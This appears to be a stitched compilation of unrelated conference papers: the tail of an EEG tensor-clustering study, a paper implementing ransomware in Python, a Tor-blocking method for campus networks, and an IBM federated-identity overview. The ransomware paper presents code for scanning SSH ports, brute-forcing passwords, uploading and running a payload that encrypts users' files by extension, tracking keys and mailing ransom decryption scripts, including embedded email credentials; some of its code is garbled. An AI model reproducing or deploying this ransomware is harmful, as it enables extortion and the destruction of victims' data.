The coupling of several datasets of the highest noise level with a shared trial mode results in improved clustering of the stimuli in the highest noise condition.



Fig. 4. Average clustering percentage of the CPD and LL1 method for each of the four noise levels, dependent on the number of components considered in the models.

Fig. 4. Average clustering percentage of the CPD and LL1 method for each of the four noise levels, dependent on the number of components considered in the models.

Fig. 7 illustrates the clustering percentage in relation to the number of coupled datasets. Evidently there is a linear increase in the number of datasets that are combined and provide near 100% separation in the case of five simultaneously decomposed datasets. Moreover, these results are not dependent on the number of components as long as R > 1.



Fig. 7. Clustering percentage in relation to the number of coupled datasets in the trial-mode for the highestnoise-level dataset (SNR = 0.60). Each line corresponds to a different Rank.

5. DISCUSSION AND CONCLUSION

Recently, it was shown that auditory BCI classifications can be performed in real life environments [8, 12]. However, the need for initial training of supervised classifiers on large parts of that data discourages practical application. Faster interaction with a BCI would likely increase user interest and engagement. Here, we explored the incorporation of structural information into the analysis in several ways to increase data- driven clustering of target and non-target trials. The current study carefully simulated P300 ERP data from 15 subjects at 5 different noise levels, mimicking realistic settings. We showed that a simple single CPD or LL1 model is able, without supervision, to separate signal and noise in simulated single- trial P300 ERP data (e.g. the components that represent the N100, P300 and noise in Fig. 3). At low noise levels, these models perform equally to that of supervised rLDA, which requires specific label and training phases (table 1.). In contrast, the CPD and LL1 models lack the ability to achieve high performance for low SNR datasets. For the highest-noise dataset (SNR=0.60), we illustrated that imposing a coupling to datasets with a lower noise level can significantly improve the extracted clusters to classify target from non-target trials to achieve equal accuracy to rLDA for both the CPD and LL1 (Fig 6.).

These structured models function without a training phase or label information, although they require additional data. Transferring a derived spatiotemporal component from a low- to high-noise dataset resulted in a similar improvement of the clustering, albeit in a supervised way; the best component on the low noise dataset has to be determined beforehand. Finally, we illustrated the potential of coupled models for the analysis of simultaneous EEG recordings in which the trial mode is shared between subjects. Without a priori knowledge of the signal of interest, the tensor-based models successfully separated the two stimuli classes in the highest noise scenario up to 100% for coupling of five simulated subjects.

The finding that CPD and LL1 models did not surpass the rLDA classification suggests that the limiting factor in this case for the separation is the lack of task-related P300 ERPs. Further extension of the presented approaches could be to identify which of the extracted clusters represents the target stimuli, based on the spatiotemporal modes of the component. Adding additional constraints (e.g. independence or sparsity) on the factors in the tensors models might improve the clustering performance [21]. The LL1 models estimate a higher number of parameters, compared to the CPD (at equal Rank). Whether this is the cause of the lower results at higher noise levels compared to CPD remains an unanswered question. One potential reason could be that the LL1 models over-fit to the noise, because, at these SNR levels, the level of noise is substantially higher than the P300 signal.

In summary, these results highlight the benefits of exploiting structure in the stimuli and experimental setup for classification of single-trial EEG data.

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AN IMPLEMENTATION OF RANSOMWARE MALICIOUS SOFTWARE IN PYTHON

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Abstract:

This paper presents an approach to developing ransomware in Python programming language. Malicious code exploits vulnerabilities resulting from the weak passwords on Linux servers. Ransomware employs Nmap to determine if SSH port is open, and if it is, it enters the victim via SSH protocol. Files are encrypted using stream cypher based on pseudorandom number generator. Analysis of existing ransomware is also given in this paper.

Keywords:

antivirus, e-mail, key, Linux, Nmap, ransom, ransomware, payload, port, Python, salt, SMTP, SSH, malicious software

1. INTRODUCTION TO RANSOMWARE

Ransomware represents a digital mechanism of extortion. Ransomware can formally be defined as malicious software which encrypts files from the attacked computer, than displays the instructions about way of ransom payment to the user of infected computer so he can get the key for decrypting files. Ransomware frequently uses algorithms resistant to cryptanalitical attack, so it is impossible to get to the key for decrypting in reasonable period of time (excluding direct attack on key server, if it exists). In other words, user of infected computer needs to choose between extortion paying and permanent data lost (if he does not have copy of them).

In worse case, ransomware besides encrypting data restricts access to the operating system (certain system data are being encrypted). In this case, after the first restart of infected computer, window, in which allegedly MUP, FBI or some common organization is warning user that the computer is locked for some illegal activities, appears.

Ransomware is spreading like a trojan and infects system via downloaded files or using vulnerabilities in network services. One of the most widespread ways of infecting computer by ransomware is based on guidance of the victim to access links in e-mail. The other way of spreading is via attachment of e-mail. Executive file with attractive name is usually set in attachment, represented as ZIP file or image. Message is structured to guide the victim to open the file in attachment.

Protection from ransomware includes making copies of data on a regular basis, self-education of the users and using softwares for protecting from malicious programs (antiviruses).

2. FIRST RANSOMWARE FOR LINUX SYSTEMS: LINUX.ENCODER.1

Linux.Encoder.1 (ELF/Filecoder.A or Trojan.Linux. Ransom.A) is considered to be the first ransomware trojan which aims at computers working under Linux operating system. Linux.Encoder.1 is being executed from distant location using security flow in Magento software. After activation, ransomware encrypts certain types of files which are set on local and network file systems using hybrid RSA/AES cryptosystem. Public RSA keys are used for encrypting session AES keys, and private keys are set in ransomware control servers. After that, Linux.Encoder.1 sets in every directory a "readme_to_decrypt.txt" file with a message which informs user that it is necessary to pay ransom via Bitcoin, and after that he can get a private key.

After running with root privileges, program loads two files in memory: "./readme.crypto" and "./index.crypto".

When ransomware gets public RSA key, daemon process starts running and deletes its files. Daemon encrypts files with these extensions and deletes the originals: ".php", ".html", ".tar", ".gz", ".sql", ".js", ".css", ".txt" ".pdf", ".tgz", ".war", ".jar", ".java", ".class", ".ruby", ".rar" ".zip", ".db", ".7z", ".doc", ".pdf", ".xls", ".properties", ".xml" ".jpg", ".jpeg", ".png", ".gif", ".mov", ".avi", ".wmv", ".mp3" ".mp4", ".wma", ".aac", ".wav", ".pem", ".pub", ".docx", ".apk" ".exe", ".dll", ".tpl", ".psd", ".asp", ".phtml", ".aspx", ".csv".

Files with these extensions are being encrypted in next directories: "/home", "/root", "/var/lib/mysql", "/var/ www", "/etc/nginx", "/etc/apache2", "/var/log".

Based on the list of extensions and directories, we have come to a conclusion that the goal for ransom are user's personal files and files necessary for Web servers and MySQL databases. Linux.Encoder.1 encrypts all data in directory whose name starts with "public¬_html", "www", "webapp", "backup", ".git", ".svn". Linux.Encoder.1 does not encrypt files in root directory or directories which contain commands necessary for main functionality of operating system: / ,/bin, /usr/bin, or configuration files.

3. REALIZATION OF RANSOMWARE

The conception of ransomware in our case is to be applicable on Linux platforms, more precisely Linux servers, because of the fact that the servers often have ssh service, which allows users and administrators to remotely control and save uploaded files on server. The program is conceived to execute the attack on several servers at once and it requires input files that contain servers' ip addresses, usernames and passwords based on perceiving employees, employers or simply ordinary names and passwords.

If the user name and password are successfully stolen, payload with unique key and "salt" value (which is used for recognition of system that has been attacked) is being generated.

The key and unique "salt" value are saved in a database, and generated payloads and files with instructions for payment are being held in predefined folder payloads, and everything for making it easier to generate the mail which is going to contain script and instructions for files backup after payment was made.

The main function, scan, which starts the process, is conceived to examine if every server from the list has opened port 22 for ssh connections. If ssh connection is opened, that host is being separated in specific thread in which the attack on this machine is being executed, while in main function the examination of other hosts continues.

```
def scan(hostsFile,usersFile,passwordsFile):
   with open(hostsFile, 'r') as hosts:
      for host in hosts:
      host=host.strip('\n')
        if
      ZeroDay.nmapPortScanner.\\
      nmapScan(str(host),"22"): \\
      t=threading.Thread(target=ZeroDay.\\
      bruteForceSSH.bruteForceConnecting,\\
      args=(host,usersFile,passwordsFile))
      t.start()
      t.join()
scan("hostsFile","usersFile","passwordFile")
```

For assessment if system is vulnerable or if port is opened for ssh connections, we are using perfect synergy of Nmap and Python. We are creating an instance of object PortScanner, over which we are calling the method scan, and the method returns dictionaries with information about the machine. The most important for us is the segment with the information about the port (whether it is opened or not).

```
def nmapScan(tgtHost, tgtPort):
    mmScan=nmap.PortScanner()
    info = nmScan.scan(str(tgtHost),str(tgtPort))
    state = ((info['scan'][tgtHost]\\
    ['tcp'][int(tgtPort)]['state'])if \\
    (any(info['scan'])) else "closed")
    print(" [*] "+ tgtHost + " tcp/" \\
    + str(tgtPort)+" "+state)
    if(state=="open"):
        return True
        return False
```

If it is found that the port is opened, in specific thread we are calling the next function which receives file with usernames and passwords, and in which the lexical attack is being executed. It is designed to try connection for every username, and then infiltrate the payload in machine.

```
def bruteForceConnecting(host, usersFile,
    passwordsFile):
    found=False
    with open(usersFile, 'r', encoding='utf-8') \\
    as users, open(passwordsFile, 'r', \\
    encoding='utf-8') as passwords:
        for user in users:
        for password in passwords:
            user=str(user).strip('\n')
            password=str(password).strip('\n')
            lock.acquire()
            time.sleep(2)
            print("Trying for :", user, " :", \\
            password)
            if inject(host, user,password):
                return
            passwords.seek(0, 0)
```

Function inject is the main part of the attack, in which we are trying to connect to the ssh server by using forward username and password. If the connection is successful, a unique payload for infecting the system is being generated, and then the textual file with the instructions for payment, if user wants his files back, is being generated, too.

It is important to notice that after the execution of the payload, the same is being deleted from the computer, and a possibility is given to the computer to make a reverse process. The file with instructions is being set on server after encrypting all files; therefore we cannot encrypt the instruction.

```
shell = pxssh.pxssh()
print(shell.login(host, user, password))
print("[+] The Password has been found
                                           "\\
+ password)
scpCommand(host, user, password, payloadFolder \\
+payload[0])
time.sleep(2)
  shell.sendline(("python3 "+payload[0]+" && \\
   rm "+payload[0]).encode('utf-8'))
 shell.prompt()
print("from prompt")
  ans=shell.before.decode('utf-8')
  print(ans)
  scpCommand(host,user,password, \\
  payloadFolder+payload[1])
  time.sleep(2)
  shell.sendline("ls -l".encode("utf-8"))
 shell.prompt()
print("from prompt")
  ans=shell.before.decode('utf-8')
  print(ans)
  return True
except Exception as e:
  print(e.__str__())
finally: lock.release()
```

The payload is being generated by functions getPayload and generatePayload in which new .py file is created which contains malicious code and unique pseudorandom key generated by "salt" value and linux random, which has a large entropy of keys, if it is used the right way. All the keys and "salt" values are being set in sqlite local database, therefore every key can uniquely be obtained, and if the same is used in payload in database, "the flag" is being set and it determines that the key is already used. It is necessary to keep these flags, so the infected computer could get a new payload for data backup, after the payment was made.

```
def getPayload():
  genKey()
  c = sqlite3.connect \\
  ("/home/bizzarec/PycharmProjects/ZeroDay/ \\
  RansomBase.db")
  c.row_factory = sqlite3.Row
  res = c.execute("SELECT * FROM crypto ORDER BY
  id DESC")
  row = res.fetchone()
while row:
    if(row['used']==0):
        fileNames
        genPayload(row['salt'],row['key'])
sql ="UPDATE crypto SET used = ? WHERE \\
id = ?"
        c.execute(sql, (1 ,row['id']))
        c.commit()
        return fileNames
                   row = res.fetchone()
```

The main part of the function for generating keys is:

```
def randGenerate(salt):
    return salt[:int(len(salt)/2)].encode()+ \\
    os.urandom(2044)+ \\
        salt[:-int(len(salt)/2)].encode()
```



On the attacked computer this malicious code is being executed:

```
key = b'10\x9e\xa0EY\x160@\xc0\xa3\xaf\ ... \xe0\x1d10'
lstFiles = [".php", ".html", ".tar", ".gz", ".sql",
    ".js", ".css", ".txt" ".pdf",
    ".java", ".class", ".ruby", ".rar"
    ".zip", ".db",".7z", ".doc", ".pdf",
    ".xls", ".properties", ".xml" ".jpg",
    ".jpeg",".png", ".gif", ".mov",
    ".acv", ".wav", ".pem", ".pub",
    ".docx", ".aspk" ".exe", ".dll",
    ".asps", ".csv"]
def cipher(file, key):
def cipher(file, key):
      try:
               with open(file, 'rb+') as f:
                     print(file)
                     data = bytearray(f.read())
                     f.seek(0)
                     f.write((bytearray((lambda x,y:\\
 (x[i] ^ y[i % len(y)] for i in \\
                     (x[i] ^ y[i % len(y)] for i in
range(0,len(x))))(data, key))))
        except Exception as e:
               print(str(e))
def sniffFiles(directory):
       if(os.path.isdir(directory)):
    for dir in os.listdir(directory):
                   sniffFiles(directory+"/"+dir)
               else:
                 for type in lstFiles:
```

The malicious code is written so it recursively starts in Home directory of the attacked computer, examines if the file is the type which we are attacking. If it is, the file is loaded as byte code and encrypted with the key within payload. After encryption, the user gets textual file with the instructions for the way of payment, which says that the user needs to give salt values and e-mail address where the files will be sent.

4. SENDING KEY TO THE ATTACKED AFTER PAYMENT

In the end, if the user makes a payment via Simple Mail Transfer Protocol (SMTP), the mail is based on specifications of rfc document with attachment, in which the file with the instructions is as well as the script for decrypting generated by python. This e-mail is generated by the following code:

```
text = '''
       The attachment holds the script for
       decryption, start it via terminal
       with command:
''' + "python3 " + fName
readIt = '''
     MIMEMultipart()
     msg['Subject'] = "Ransomware Decription"
       me ='towardsthelights@gmail.com'
       msg['To'] = victimsMail
       msg.attach(MIMEText(text))
       with open(file, "rb") as fil:
    py = MIMEApplication(fil.read(),\\
        Name=basename(fName))
        py['Content-Disposition'] = 'attachment;
filename="%s"' % basename(fName)
        readMe = 
        MIMEApplication (readIt, "ReadME.txt")
        readMe['Content-Disposition']='attachment;
filename="%s"' %
     basename("ReadME.txt")
        msq.attach(readMe)
        msg.attach(py)
     try:
        smtpserver
        smtplib.SMTP("smtp.gmail.com", 587)
        smtpserver.ehlo()
        smtpserver.starttls()
        smtpserver.login(me,
         'towardsthelights06310268841994')
        try:
           smtpserver.sendmail(me, victimsMail,\\
msg.as_string())
        finally:
           smtpserver.close()
     except Exception as exc:
            print("Mail failed: {}".format(exc))
```

From this message we can clearly conclude that we have to transfer these files to the infected computer and run them following the instructions.

5. USED PROTOCOLS, TOOLS AND LANGUAGES

SSH

SSH protocol is expected to be used for safe remote registration on system and also for network communication via unprotected network infrastructure. SSH is created as a replacement for telnet, and it is used for remote program running, working in far apart command interpreters and copying files via network. SSH consists of three protocols: Transport Layer Protocol, User Authentication Protocol and Connection Protocol. Every SSH server has its own private/public pair of keys. By using these keys during establishing SSH connection, server authenticates client and enables safe arrangement about the materials for symmetrical keys which are used for traffic protection.

NMAP

Nmap is created as humble software by Gordon Lyon (known as Fyodor Vaskovich). First version of Nmap

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had 2000 lines of code and it is published in 1997. in web magazine "51 of Phrack". Considering Nmap to be open-source software, hackers rushed on it for a short period of time, and since then Nmap is developing rapidly.

Python

Python is one of the most rewarding "high-level" languages which enables complete control over the system. Python is widely used language, designed to empathies code readability, with a syntax which enables programmers to write concepts containing a small number of code lines. This language supports multiple programmers' paradigms, as object-oriented, imperative, functional and procedural styles.

Python features a dynamic type system and automatic memory management, and it binds method and variable names during program execution. Similar to Ruby or LISP, Python represents interpreted language, which means that the code is converted in machine code and being executed while the script is executing. Interpreted code mostly has a benefit of huge portability on different systems while there is an interpreter on system for the same.

6. CONCLUSION

In the past years the number of hackers' attacks is growing, especially the number of ransomware softwares. Besides techniques of the attack, techniques of the encrypting are evolving, too, and they are being adjusted to Linux, iOS and Android operating systems.

This paper presents an approach to developing ransomware in Python programming language. Software is based on SSH protocol for distribution, using weaknesses produced by human factor (weak password) and encrypts files with certain extensions on attacked computer. After payment, software sends an e-mail to the attacked by SMTP protocol. Therefore, targeted systems are Linux servers with opened SSH port and weak passwords.

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BLOCKING TOR - INSIGHT APROACH

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Abstract:

Tor is a very powerful tool for avoiding restrictions of the Internet usage in local networks (companies or educational/public institutions). For example, students use it on everyday basis at university computer labs. In order to prevent such misuse from happening, most effective solutions widely known go as far as obtaining current list of Tor nodes and updating the local network security policy with thousands of IP addresses. In this paper, one more efficient and effective method is presented by analyzing Tor package source code as well as aiming at core infrastructure of Tor network. This method is much more reliable and consumes fewer resources while completing the task with success. It is used instead of not so reliable frequent Tor nodes sniffing, which is mainstream approach.

Keywords:

The Onion Routing, Tor, blocking Tor, Internet Censorship

1. INTRODUCTION

Tor, originally known as The Onion Routing [1], which was initially designed for covert communications of USA Naval Intelligence Agency, was released to public usage with original idea in mind to provide anonymity cover for individuals who cared about own Internet privacy.

Of course, misuse of Tor is widespread. One can use it to make anonymous hacker attacks to various targets online, or other criminal activity [2]. During years, Internet and its usage became everyday activity in offices all around the world. With power comes responsibility, but not everyone obeys this concept [3]. It is customary that employees browse through various fun content on the Internet, social networks, online video games, etc. So equally often, Internet access in companies and educational institutions is restricted more or less for that reason.

As a counter - counter measure, employees or other users of official network resources use Tor to circumvent actual Internet restriction policy.

However, not only administrative employees and students use Tor. World - class terrorists, criminals, Internet lurkers (pedophiles etc.), corrupt government officials, industrial spies, the list is endless. The significance is so high that even NSA engages dedicated resources in monitoring Tor activity [4]. This is publicly announced by Edward Snowden and is published in Guardian [5].

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e-mail: vlstanojevic@gmail.com This requires new, more advanced techniques for blocking such culprits. Reasons for this are various, and so are the techniques and resources used. For example, Government agencies have vast resources for that [6].

The Great Firewall of China is one of the most notorious Internet censors which blocks Tor with high success rate [7].

As one of the most powerful and largest countries in the world, China uses enormous computer resources to block Tor, with high success rate. However, for individual companies and educational institutions such resources are unthinkable. Therefore, approach to block Tor in such real-life scenarios is different. Tor itself is projected not to be able to defend against this scale attacker [8].

Most widely spread method for blocking Tor, due to limited resources, which are available to some company or public institution, is by IP filtering [9]. This method is tested in real-life, and proved to be borderline effective enough as experimental results show.

In this paper, one different approach is presented. It is based on analyzing the Tor source code and disabling the usage of Tor by denying access not to every Tor node, but to the Tor consensus servers, thus denying the Tor client even the possibility to know any available Tor node in order to connect to in the first place.

2. STANDARD METHOD FOR BLOKCING TOR METHOD DESCRIPTION

Standard, default method of blocking Tor (excluding in-depth packet analysis [10], which requires enormous resources available only on government level agencies as previously mentioned) is to obtain ever-current list of Tor nodes and to set up corresponding rules at central gateway in order to deny access to that pool of IP addresses, thus blocking Tor clients that run from inside local network. This method can be illustrated with algorithm shown on Figure 1.

The list of currently active Tor nodes can be acquired in various manners. One is through official Tor API or web service/application called Atlas [10]. The other one is to obtain "ready to use list" from third party sources [11]. As long as this list is suitable for human user [11], it consists of many other data, which obfuscates in certain degree usage of such list as "ban-list" of all IP addresses. For such purpose, a "plain" list of IP addresses of Tor nodes [12] is much more suitable.



Fig. 1. Algorithm of standard Tor blockage method

3. REFERENCE METHOD EFFECTIVENESS, EXPERIMENT AND RESULT

This method was put to the test of effectiveness in Medical and Business-Technology College of Applied Studies, in three computer labs. Labs consisted of total 68 student computers. Several hundreds of students (over 200 students of IT dept.) used them during the experiment. The experimental period was 60 days.

Students had been using Tor actively before the experiment took place in order to circumvent current restrictions of the Internet usage. Mostly, they had been using it for social networking or online video games during classes. After implementing the blockage of Tor by means of previously described method, the following results are obtained and given in Table 1.

Description –	Unsuccessful Tor connections/ total number of tries made ratio	
	Objective measure	Subjective impression
List refreshed every 2 hours	89%	100%
List refreshed every 1 hour	89.2%	100%
Number of IP addresses in blacklist	6083	

Table 1. Experimental results
Experiment showed rather high percentage of successful Tor blocking. In reality, subjective impression by students who tried to use Tor was that it was blocked 100%, because it took on average more than 7 minutes for Tor clients to connect successfully to Tor node which was not "blacklisted" in given time. By that time, students lost patience and closed it, supposing that a connection would never be established.

However, this method with success rate less than 90% is not satisfactory, and needs to be improved to achieve 100% success rate if possible.

4. REFFERENCE METHOD ISSUES AND MEANS OF IMPROVEMENT

There are two issues to this method that must be noted. Firstly, it can cause delays in Internet traffic routing if used on SOHO grade network router due to long list of iterative conditions against which every network package towards the Internet must be checked. Secondly, it "filters" network traffic only against currently "known" IP addresses that are Tor nodes. First limitation can be upgraded by using more powerful resource, but second issue is much more difficult if not impossible to overcome. The whole concept behind presented method is that all current tor nodes are known and blocked. However, it cannot be done in reality due to the fact that structure and size of the Tor network vary every second. Many Tor clients come on- and off-line every second. This results in a list, which is accurate, current and acquired in a moment. Next moment, many of listed nodes can go offline and as many, more can become online, but not known by previously acquired list.

So, besides making irrationally frequent updates of "blacklist", which will raise accuracy of current available Tor nodes list, at the same time creating even more and more delay and router resources exhausting, it will not completely resolve the issue.

It makes obvious that this method cannot be improved to be very efficient no matter the costs. Solution to this issue requires completely different approach.

5. INSIGHT APPROACH CONCEPT

Concept behind this new improved method is based on deeper understanding of Tor infrastructure, and using its own design against it. When reading about Tor specifications [13], [14], [15], one can focus attention on "directory authorities". Each Tor client "reports" itself to server acting as directory authority. Afterwards it refreshes its status every 18 hours.

In official Tor documentation [12], this report is called server descriptor. Every hour these directory servers referred as "authorities" vote on particular Tor node. After achieving "consensus" on that node, they enlist a specific node as regular Tor relay, so other Tor traffic can go through or even out (if node is allowed to be an exit, Tor relay by its immediate user). Such enlisted Tor relays are those available to fetch and to be used as list of currently active Tor nodes (relays), and blacklist can be populated from it as in previously described method.

However, being "live" and very fluid, the list is never accurate as we concluded in experiment above.

Taking a step further, instead of blocking access to any known Tor node in a moment of time, more efficient would be to deny Tor client neither to obtain the list in the first time nor be able to update it afterwards.

This can be achieved by obtaining the list of above mentioned directory authorities' servers IP addresses and filling the blacklist with only this final and one-figure number of IP addresses. Of course, this can be changed, but not as near as often as Tor relays list.

The list of directory authorities together with their IP addresses is "hardcoded" in Tor clients. Therefore, this list can only be changed with new version release, which is not even on daily basis, and is not obliged to be changed with new version release, quite the contrary.

6. IMPLEMENTATION

Implementation of this method is straightforward. First step is to obtain source code package of Tor client current version. Since it is available from static hyperlink [17], it is easy to incorporate it in a program code that will accomplish the task. On that hyperlink [17] numerous versions of Tor packages are located. Very simple program code is needed to parse through the available links to find download link for current version of source code package. In case when no newer version of Tor has been published, no further action is needed.

The second step is to compare previously known version with the available one, and if unchanged, no further action is needed. When doing this, checking on daily basis is more than enough to achieve reasonably high success rate. In comparison to the previous method, the check could be performed in the same way and the whole firewall rewrite would be done every second. If there were a new version of Tor available, third step would be just to download the package, unpack it, and then parse through config.c file, in order to obtain list of current directory authorities and their IP addresses.



Exact part of that file containing data of interest is displayed on listing 1. IP addresses of directory authorities are marked in bold-italic with the purpose of emphasizing them.

```
"128.31.0.39:9131 9695 DFC3 5FFE B861
329B 9F1A B04C 4639 7020 CE31",
"86.59.21.38:80 847B 1F85 0344 D787 6491
A548 92F9 0493 4E4E B85D",
"194.109.206.212:80 7EA6 EAD6 FD83 083C
538F 4403 8BBF A077 587D D755",
"Tonga orport=443 bridge no-v2
82.94.251.203:80 "
    "4A0C CD2D DC79 9508 3D73 F5D6
6710 OC8A 5831 F16D",
    "turtles orport=9090 no-v2 "
"76.73.17.194:9030 F397 038A DC51 3361
35E7 B80B D99C A384 4360 292B",
    "gabelmoo orport=443 no-v2 "
"212.112.245.170:80 F204 4413 DAC2 E02E
3D6B CF47 35A1 9BCA 1DE9 7281",
    "dannenberg orport=443 no-v2 "
"193.23.244.244:80 7BE6 83E6 5D48 1413
21C5 ED92 F075 C553 64AC 7123",
    "urras orport=80 no-v2
"208.83.223.34:443 OAD3 FA88 4D18 F89E
EA2D 89C0 1937 9E0E 7FD9 4417",
    "maatuska orport=80 no-v2
"171.25.193.9:443 BD6A 8292 55CB 08E6
6FBE 7D37 4836 3586 E46B 3810",
    "Faravahar orport=443 no-v2 "
"154.35.32.5:80 CF6D 0AAF B385 BE71 B8E1
11FC 5CFF 4B47 9237 33BC"
```

Listing 1. Part of config.c (Tor source package file) containing directory authorities' data

```
BufferedReader br = null;
int cnt=0;
try {
br = new BufferedReader(new
FileReader("config.c"));
Pattern pattern =
Pattern.compile(IPADDRESS_PATTERN);
String line = br.readLine();
while (line != null) {
 if (!semafor)if
(line.contains("authorities[] = {"))
semafor=true;
else{
Matcher matcher=Pattern.matcher(line);
if (matcher.find()){
 imenik[cnt]=matcher.group();
 cnt++;
}
if (line.contains("};")) return imenik;
 line = br.readLine();
}
```

Listing 2. – Fragment of code parsing config.c for IP addresses of directory authorities

7. INSIDE APPROACH METHOD EXPERIMENTAL RESULTS

During the same test period (60 days) in the same facility (68 computers available to multiple students, being the same as in referenced method), by analyzing the network activity log files, results are given in Table 2. This experiment was made in real-life environment, due to available resources both technical and human. However, it can be replicated in simulated environment too [17].

Description -	Unsuccessful Tor connections/ total number of tries made ratio		
	Objective measure	Subjective impression	
Tor source checked for new release every 24 hours	100%	100%	
Number of IP addresses in blacklist	1	10	

 Table 2. Results of experiment of new method implementation

As shown, using this approach to block Tor, enormous savings in CPU time and thus in network responses time is evident. On the contrary, this is not achieved by compromising with security. By reducing CPU consumption for more than 6800 times and avoiding consumption of bandwidth for acquiring fresh list of nodes every hour, absolute effectiveness is achieved.

8. CONCLUSION

Using an improved method presented in this paper, with frequency of potential updates on daily basis, by blacklisting only eight directory authorities servers, Tor client could not be used in a controlled environment. The same was used in previous experiment, in the same amount of time and computers/users. Picture 1. displays one screenshot of Tor client showing error message.

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or inetwork settings	
BROWSER	Before you connect to the Tor network, you need to provide information about this computer's Internet connection.
Which of the	X
C A Tor failed to establic Requesting relay into the formation of the form	sh a Tor network connection. formation failed (connection timeout).
Configure	Cancel
Configure For assistance, contact help@rt.tor	Cancel

Picture 1. Tor unable to connect

Most indicative is the error message in Log itself, saying:

[NOTICE] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/4728, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of exit bw.)

So experiment shows that by implementing such a method Tor is completely blocked on long-term basis, long enough to "keep gates shut tight". At the same time, resources and CPU time used to accomplish this result are symbolic.

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INFORMATION SECURITY

SINTE7A 2017

MANAGING RISKS BY FEDERATING IDENTITIES IN DIGITAL ECONOMY

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Abstract:

The paper focuses on the problem of managing multiple identities and access to them. Detailed insight in the field of research shows the concept and importance of federated identities and the necessity for their implementation into a business ecosystem. The solution for identity federation is presented, including detailed explanation of functionality and infrastructure of the security product. The significance and benefits of the security open standards are underlined. Recommendations and predictions are made, implying the need for change and different approach to IT security.

Keywords:

federated identities, IT security, access management.

1. INTRODUCTION

As the global digital economy grows, the number of digital identities rises. Consequently, the need to protect and manage collection, usage and distribution of personal information is greater than ever. Digital identities are the key factor in online world and finding the proper way to authenticate the legitimate users is the greatest challenge. When digital identities are not secured or distributed properly the exposure of information is certain. The information is then used for illicit purposes such as identity theft.

Stolen identity is a powerful tool in today's world. It can be used for a coordinated insider attack, selling digital identities on the deep web, credit card fraud, mail theft and other criminal acts. Attacks on digital identities are rapidly evolving and the highest level of attacks are on e-commerce and new accounts, where attacker uses personal information to create new financial accounts. As a result, companies endure extremely negative impact on their businesses, reputation and customer's trust.

Digital business is a dynamic environment, technologies are changing swiftly, and organizations have new ways of conducting business, thus implicating that information security risk becomes a top concern. Information security and risk management are the key components that ensure continuous improvement of planning, building and running security solutions adopted for business needs.

As a typical employee becomes more mobile and "Bring your own identity" trend continues to grow, accessibility and availability of

enterprise services need to be managed securely. Problem with multiple identities can be solved by using distributed identities. Distributed identity implies the secure exchange of identity information across one or multiple trusted domains, providing users with the ability to use one set of login credentials to access multiple applications.

To manage authentication mechanisms and ensure that every user interaction is truthful and rightful, distributed identity systems use federated identity ("web of trust") or brokered identity ("trusted third party").

2. OVERVIEW OF THE FIELD OF RESEARCH

As a leader in IT Security field with a wide range of security solutions, IBM provides security intelligence, helping companies protect their people, systems, data and improve their business. Security solutions for identity and access management include IBM Security Access Manager, IBM Federated Identity Manager, IBM Security Identity Manager, IBM Security Privileged Identity Manager, IBM Security Identity Governance, IBM Security IAM Cloud.

Although confidentiality, integrity and availability are crucial parts of every security system, the CIA concept is not enough in the digital business world. Digital explosion, interconnectedness of different systems, devices and the growing evolution of Internet of Things pushed the digital world into a physical world.

Protecting information is not enough, as providing safety for both people and their environments must be equally important. As a result, CIA concepts are to be expanded with one key component – safety. Necessity to protect not only the digital world but also a physical one is inevitable.[5]



Fig. 1. "CIAS" model of digital security

The concept of safety includes both people and assets. Safety of people is very important, and with proper training, employees will know how to prevent physical unauthorized access, avert danger or disaster, react quickly and respond as a team. Safety of assets implies the physical security mechanisms such as locks, fences, surveillance, lighting etc. Both data and physical security play an important role in IT security, ensuring that with secured systems and with secured work environment high level security can be achieved.

Business data are now distributed via different dynamic environments, detached from the traditional enterprise. Managing risk is a crucial part in securing business data and making sure that businesses will have a desired outcome. Risk based approach will ensure flexible and responsive security solutions, adopted for business needs. Risk-Adjusted Value Management model can be created, integrating IT risk into corporate performance. As a result, the risk is addressed and business value is added.



Fig. 2. Risk-adjusted value management model

When designing security solutions, it is important that security product is agile, modular, adopted for business needs and that it ensures smooth administration and usage. The main goal of identity and access solutions is to safely boost businesses, employee productivity and protect organization from inside and outside threats. Benefits from implementing such solution are various:

- Secured environment, data and people
- Effectiveness and efficiency
- Productive and motivated employees
- Simplified administration and management
- Reduced integration costs and pressure on support desks

Federated identity concept is based on the creation of globally interoperable online business identity, incorporating various applications and system identities. It is more effective and efficient to use a single sign-on type of accounts because a single user can have many accounts, passwords and usernames across dozens of systems. User weaknesses include slow input and forgetting of credentials, and weak, attack prone passwords. Federated identity also indirectly aims at improving the cost efficiency of a system, because it removes the need for many administrative roles which were needed within the previous system. This approach undermines outside attacker efforts to compromise a system and also to halt a company workflow, sometimes for several days in a row. From this point on there is no need for creating and managing multiple accounts, passwords and users from other systems.

Federation represents the set of business, technical and policy agreements, allowing companies to interoperate by using shared identity management.

Functionality is based on the trust infrastructure implemented by the IBM Tivoli Federated Identity Manager trust service. Each solution can also be deployed separately, thus providing complete federation solution.





There are numerous benefits of implementing federated identity management in business environments. Identity management costs are reduced because companies only manage access to data and do not have to manage accounts or user account data that are not under their control. Using only one global identity for authentication and navigation through multiple web sites and applications improves user experience. Because of the federated identities, seamless integration between enterprise applications is ensured, enabling end-to- end security and trust capabilities.

3. OVERVIEW OF THE PROPOSED SOLUTION

IBM Identity and Access Management solution provides modular all-in-one security solution that helps companies protect their resources, make them easily accessible, boost business productivity and lower the integration costs. The modular nature of the IBM Identity and Access Management is the core operating principle, enabling a more scalable, flexible and maintenance friendly solution.

The solution provides a procedurally simpler and reduced risk approach to securing an uninterrupted

user experience. This is achieved by shielding the vital assets with the use of strong multi-factor authentication and risk-based access. The IBM Identity and Access Management consists of the core module (Security Access Manager Platform), and can be extended by adding additional license-based modules. The additional modules are Advanced Access Control module and Federation module.

IBM Tivoli Federated Identity Manager represents a federated single sign-on solution, whose infrastructure enables identity propagation through SSO capabilities, eliminating the need for multiple user identities and passwords. Identities can be federated through multiple security infrastructures. The following deployment scenarios are supported, while each scenario can be deployed separately:

- Federated single-sign on
- Web services security management
- Provisioning
- Identity token exchange

Federated single-sign on scenario facilitates creation and management of federated single sign-on environments. Web services security management scenario represents an authorization solution, ensuring that only properly evaluated user requests can access resources through different domains. Provisioning scenario enhances current provisioning solutions across the internet by using web services standards. Identity token exchange deployment scenario provides the transmission of user credential information between different identity tokens.

